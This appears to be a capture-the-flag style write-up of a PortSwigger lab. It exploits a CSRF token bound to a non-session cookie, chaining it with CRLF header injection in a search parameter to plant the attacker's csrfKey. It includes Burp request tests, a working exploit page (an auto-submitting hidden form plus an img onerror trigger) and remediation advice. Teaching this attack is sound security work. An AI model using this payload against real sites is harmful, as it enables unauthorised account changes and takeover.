Challenge Overview#
- Challenge Name: CSRF where token is tied to non-session cookie
- Category: Cross-Site Request Forgery (CSRF) / Client-Side Security
- Level: Practitioner
- Target Endpoint:
POST /my-account/change-email - Provided Credentials:
wiener:peter(Attacker Account),carlos:montoya(Victim Account) - Objective: Exploit a CSRF vulnerability where token validation is decoupled from the user’s session cookie and tied to a secondary
csrfKeycookie, chaining with an HTTP response header injection (CRLF) primitive to plant a matching cookie into the victim’s browser and change their email address.
1. Core Fundamentals#
1.1. The Decoupling of Identity vs. CSRF Integrity#
A secure implementation of the Synchronizer Token Pattern requires that the anti-CSRF token be strictly bound to the authenticated user’s session identifier.
In this scenario, the application attempts to validate the token against a cookie; however, it binds the token to a secondary, non-session cookie (csrfKey) rather than the session authentication cookie (session).
This architectural flaw creates two completely decoupled validation tracks on the backend:
- User Identity Track: Governed exclusively by the
sessioncookie. The backend parsessessionto determine which user is performing the action. - CSRF Integrity Track: Governed exclusively by the pair
(csrfKey, csrf). The backend inspectscsrfKeyfrom the cookie header and verifies that the body parametercsrfmatches the token registered for that key.
| |
Because the application never cross-references csrfKey against session, an attacker can pair their own valid csrfKey and csrf token and apply them to an action executed by an arbitrary victim.
1.2. The Exploit Obstacle: Cross-Origin Cookie Injection#
Under standard web security boundaries (Same-Origin Policy and cookie scoping rules), an attacker hosting a page at an external origin (exploit-server.net) cannot directly write cookies onto the target domain (web-security-academy.net).
To execute this attack, the attacker must discover a secondary vulnerability on the target origin that enables Cookie Jar Injection. In this challenge, that secondary primitive is an HTTP Response Header Injection (CRLF Injection) in the application’s search feature.
1.3. HTTP Response Splitting & CRLF Injection Mechanics#
HTTP headers are delimited by Carriage Return (\r, ASCII 0x0D, %0d) and Line Feed (\n, ASCII 0x0A, %0a) sequences (\r\n).
If an application reflects untrusted user input directly into an HTTP response header (e.g., Set-Cookie: LastSearchTerm=<USER_INPUT>) without sanitizing CRLF characters, an attacker can inject %0d%0a to terminate the current header line and inject arbitrary supplementary headers:
| |
When the victim’s browser processes this HTTP response, it treats Set-Cookie: csrfKey=... as a legitimate server directive, writing the attacker-controlled csrfKey into its local cookie jar for the target domain.
1.4. The Three Classical Preconditions for CSRF#
| |
2. Attack Architecture / Threat Model#
2.1. Trust Boundaries & Chained Exploitation#
The vulnerability exploits a breakdown across two independent boundaries:
- Application Logic Boundary: CSRF token verification does not validate ownership against the authenticated identity session.
- Transport Header Boundary: The search feature fails to validate header value boundaries, allowing external input to set ambient cookies on the target domain.
2.2. Attack Flow Diagram#
| |
2.3. Root Cause Analysis#
- Decoupled Identity Verification: The database or cache stores
(csrfKey, csrf)relationships independently ofuser_idorsession_id. - Unsanitized Header Reflection: The search endpoint reflects user input into
Set-Cookieheaders without stripping0x0Dand0x0Acharacters.
3. Vulnerability Exploitation#
Phase 1: Baseline Multi-Account Traffic Inspection#
We authenticate two separate accounts to compare session management:
- Attacker Account:
wiener:peter(Normal browser window) - Victim Account:
carlos:montoya(Private / Incognito window)
Inspecting Wiener’s Request (Burp Repeater):#

| |
- Observation: The request transmits two distinct cookies:
session(identity) andcsrfKey(anti-CSRF tracking key). - The request body contains the
csrftoken parameter.
Inspecting Carlos’s Request (Browser DevTools):#


From Figure 2 and Figure 3, we record Carlos’s parameters:
- Carlos’s Cookies:
csrfKey=7NR02Pcgs81cic7TW28JZh2QkpiFjSjD; session=fzenEDKUP7jGtQCxiMQxvBMpVeDjDO65 - Carlos’s Body:
email=carlos321@gmail.com&csrf=d3z1Vld5xOw4y4BdP6po1cmgKKc2RmhW
Phase 2: Hypothesis Verification in Burp Repeater#
We execute three targeted tests in Burp Repeater to map out backend verification behavior:
Test 2.1: Tampered Token with Valid Cookie#
We supply an arbitrary token value csrf=12345678:

| |
- Result:
HTTP/2 400 Bad Request: "Invalid CSRF token". - Conclusion: The token is actively verified against
csrfKey.
Test 2.2: Mismatched Token Pair Across Users#
We transmit Carlos’s csrfKey alongside Wiener’s csrf token:

| |
- Result:
HTTP/2 400 Bad Request: "Invalid CSRF token". - Conclusion: The body token must correspond to the specific
csrfKeytransmitted in the cookie header.
Test 2.3: Matched Token Pair on Foreign Session (The Flaw)#
We supply both Carlos’s csrfKey AND Carlos’s csrf token, but submit them under Wiener’s authenticated session cookie:

| |
- Server Response:
1 2 3HTTP/2 302 Found Location: /my-account?id=wiener Content-Length: 0 - Critical Finding: The server returns
302 Foundand mutates Wiener’s email! - The backend confirmed that
d3z1Vld5...matches7NR02Pcg...and completely neglected to check whether that key was issued to the user identified bysession=VecXAY....
Phase 3: Discovering and Proving Cookie Injection via CRLF#
To weaponize this against a victim, we must plant our csrfKey into the victim’s browser. We inspect the search function:
Baseline Search Behavior:#

| |
- Server Response:
1 2HTTP/2 200 OK Set-Cookie: LastSearchTerm=wiener is the best; Secure; HttpOnly
The user’s query is reflected verbatim within the Set-Cookie response header.
CRLF Injection Verification:#
We inject encoded CRLF characters (%0d%0a / \r\n) to append an independent Set-Cookie header:

| |
- Server Response:
1 2 3HTTP/2 200 OK Set-Cookie: LastSearchTerm=wiener is the best Set-Cookie: csrfKey=TESTING123; SameSite=None; Secure; HttpOnly
The server parses the newline and outputs an independent Set-Cookie: csrfKey=TESTING123 header, confirming an HTTP header injection primitive.
Phase 4: Harvesting a Fresh, Unused Token Pair#
Because tokens are consumed upon use, any pair validated in Repeater is invalidated. We harvest a fresh, unused pair from the attacker’s account (wiener).
In Burp Repeater, we issue a GET /my-account?id=wiener request without the csrfKey cookie, forcing the server to issue a new key:

| |
- Server Response Header:
1Set-Cookie: csrfKey=HGBWgLxQoOYXQHPqj139VLq34P2DJIvB; Secure; HttpOnly; SameSite=None - Fresh
csrfKey:HGBWgLxQoOYXQHPqj139VLq34P2DJIvB
Next, we inspect the response body of the same request to extract the matching csrf token:

| |
- Fresh
csrfToken:bc5kxGJ6DfRwWkKjAqfdNKxr8CmsrB5L
Phase 5: Weaponizing the Exploit on Exploit Server#
We navigate to the PortSwigger Exploit Server (https://exploit-...exploit-server.net/exploit) and configure the payload:

Exploit Server Payload Configuration:#
- File:
/exploit - Head:
1 2HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 - Body:
1 2 3 4 5 6<form id="csrfForm" action="https://0a90005803c0cff3803a03c8009b0076.web-security-academy.net/my-account/change-email" method="POST"> <input type="hidden" name="email" value="hacker@gmail.com" /> <input type="hidden" name="csrf" value="bc5kxGJ6DfRwWkKjAqfdNKxr8CmsrB5L" /> </form> <img src="https://0a90005803c0cff3803a03c8009b0076.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=HGBWgLxQoOYXQHPqj139VLq34P2DJIvB%3b%20SameSite=None" onerror="document.getElementById('csrfForm').submit();" />
Detailed Breakdown of Exploit Mechanics:#
- The
<form id="csrfForm">Element:- Targets the endpoint
action=".../my-account/change-email"viamethod="POST". - Supplies the attacker’s email (
hacker@gmail.com) and fresh token (bc5kxGJ6DfRwWkKjAqfdNKxr8CmsrB5L). - Explicitly identified via
id="csrfForm".
- Targets the endpoint
- The
<img>Tag (The CRLF Injection Vector):- Targets the search endpoint:
/?search=test%0d%0aSet-Cookie:%20csrfKey=HGBWgLxQoOYXQHPqj139VLq34P2DJIvB%3b%20SameSite=None. - Encoding Requirement:
%0d%0ais essential to prevent browser URL normalization from stripping literal newlines. SameSite=None: Ensures the cookie is permitted on subsequent cross-site requests.
- Targets the search endpoint:
- The
onerrorSynchronization Handler:- The search response is an HTML page, not an image format, causing the
<img>tag to fail parsing and triggeronerror. - Timing Synchronization: The
onerrorevent executes strictly after the search HTTP response headers have been processed by the browser, ensuringcsrfKeyis written into the victim’s cookie jar before the form POST is dispatched.
- The search response is an HTML page, not an image format, causing the
Phase 6: Delivering Exploit to Victim & Verification#
- Click Store to persist the payload on the Exploit Server.
- Click Deliver exploit to victim.

Execution Flow & Lab Resolution:#
- The simulated victim bot (
carlos) navigates to/exploit. - The browser loads the
<img>URL, issuing the search request with CRLF injection. - The application sets
Set-Cookie: csrfKey=HGBWgLx...on the victim’s browser. - Parsing fails on the non-image data, firing
onerror. - The handler submits
csrfForm, dispatching the POST request to/my-account/change-email. - Ambient credentials transmit Carlos’s
sessioncookie alongside the injectedcsrfKey. - The backend validates the submitted
csrftoken againstcsrfKey. Because both were harvested together, the check succeeds. - The server commits the email change to
hacker@gmail.com, resolving the lab (Figure 12).
4. Remediation Strategies#
Remediating this vulnerability requires fixing both the architectural token validation flaw and the transport-layer header injection bug.
| |
4.1. Bind CSRF Tokens Directly to the User Session (Primary Fix)#
Do not maintain decoupled tracking cookies for CSRF validation. The token must be stored directly within the server-side session object:
| |
4.2. Prevent HTTP Response Header Injection (CRLF Sanitization)#
Never reflect raw user input into HTTP response headers or cookie values:
- Strip or reject any characters matching
\r(0x0D) and\n(0x0A). - Utilize framework-native cookie utilities that enforce header boundaries automatically:
| |
4.3. Use the __Host- Cookie Prefix#
Protect sensitive session cookies against cross-domain and subdomain tampering using the __Host- prefix:
| |
Browsers enforce that __Host- cookies:
- Cannot be overwritten from subdomains.
- Must include
Path=/. - Must be marked with
Secure.
4.4. SameSite Cookie Attributes & Re-Authentication#
- Configure all session cookies with
SameSite=LaxorSameSite=Strict. - Enforce current password confirmation or MFA re-authentication for sensitive account mutations (email, password, payment methods).
